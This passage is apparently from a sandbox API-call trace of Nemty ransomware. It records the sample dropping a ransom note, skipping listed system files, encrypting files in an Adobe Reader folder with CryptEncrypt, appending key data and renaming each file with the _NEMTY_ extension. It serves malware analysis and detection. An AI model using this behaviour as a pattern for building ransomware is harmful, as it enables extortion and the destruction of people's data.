dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.801] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.801] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.801] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0176.802] CloseHandle (hObject=0x2e8) returned 1 [0176.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0176.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.802] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.802] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0176.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.803] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.803] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e500, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e500*=0xef8, lpOverlapped=0x0) returned 1 [0176.804] CloseHandle (hObject=0x2e8) returned 1 [0176.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.804] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0176.804] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.804] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*.*", lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d060390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d060390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423af0 [0176.804] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0176.804] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1d060390, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1d060390, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0176.805] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0176.805] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0176.805] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2=".") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="..") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="...") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="windows") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="$RECYCLE.BIN") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="rsa") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="NTDETECT.COM") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntldr") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="MSDOS.SYS") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="IO.SYS") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="boot.ini") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="ntuser.dat") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="desktop.ini") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="CONFIG.SYS") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="RECYCLER") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="BOOTSECT.BAK") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="bootmgr") returned 1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="programdata") returned -1 [0176.805] lstrcmpiW (lpString1="DEXShare.asfx", lpString2="appdata") returned 1 [0176.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.805] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.805] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.805] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.806] Sleep (dwMilliseconds=0x5) [0176.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d0864f0, dwHighDateTime=0x1d561e8)) [0176.808] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d0864f0, dwHighDateTime=0x1d561e8)) [0176.808] GetLastError () returned 0xb7 [0176.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.808] GetLastError () returned 0xb7 [0176.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.808] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.808] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0176.808] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0176.809] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0176.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.809] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="5tOO0OX6WGDJ6cJyY+mwPJ/xdaSfgEw6CArR7/PEQMp14sdWZ/7xTnTZHk04r983\r\nl0HgxVcI5k2U6cEYUsdxbg8HjOM2SslS738uQFLcpH7YsJaf/+Ki44xzR8L7uQ0q\r\npMQ+EhO83qsb2J8YEA7uxIgBgcIyJbIAvgFjg3h2wSUgCzyEu9RDMtSScwZugfXd\r\nZRogqTm2PH4lsuZrEwa76l7RGr80h0PsHYImhTjFnvvP26VPercI1jpIshJsg4g1\r\nVMXwe6I2RZN6TwuW+dbwEtEEaP0naLZzqq/x7+zKw7bf15QlXQVu9FZeOCb7wwLj\r\nJeGqEP5UFKqgNyYT2+rEBA==\r\n", pcchString=0x653e29c) returned 1 [0176.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.809] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0176.809] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=37529) returned 1 [0176.809] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9290) returned 0x6352c48 [0176.809] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.809] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9290, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x9290, lpOverlapped=0x0) returned 1 [0176.813] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.813] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9290, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x9290, lpOverlapped=0x0) returned 1 [0176.813] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.813] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=37529, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9299 [0176.813] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0176.813] CloseHandle (hObject=0x2f0) returned 1 [0176.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.814] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.814] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\dexshare.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\DEXShare.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services\\dexshare.asfx._nemty_kgobjgd_")) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.814] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x3440ee8, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2=".") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="..") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="...") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="windows") returned -1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="$RECYCLE.BIN") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="rsa") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="NTDETECT.COM") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="ntldr") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="MSDOS.SYS") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="IO.SYS") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="boot.ini") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="AUTOEXEC.BAT") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="ntuser.dat") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="desktop.ini") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="CONFIG.SYS") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="RECYCLER") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="BOOTSECT.BAK") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="bootmgr") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="programdata") returned 1 [0176.815] lstrcmpiW (lpString1="Services.asfx", lpString2="appdata") returned 1 [0176.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0176.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0176.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.816] Sleep (dwMilliseconds=0x5) [0176.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d0ac650, dwHighDateTime=0x1d561e8)) [0176.824] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1d0ac650, dwHighDateTime=0x1d561e8)) [0176.824] GetLastError () returned 0x0 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.824] GetLastError () returned 0x0 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.824] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0176.824] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0176.824] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0176.824] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.824] CryptBinaryToStringA (in: 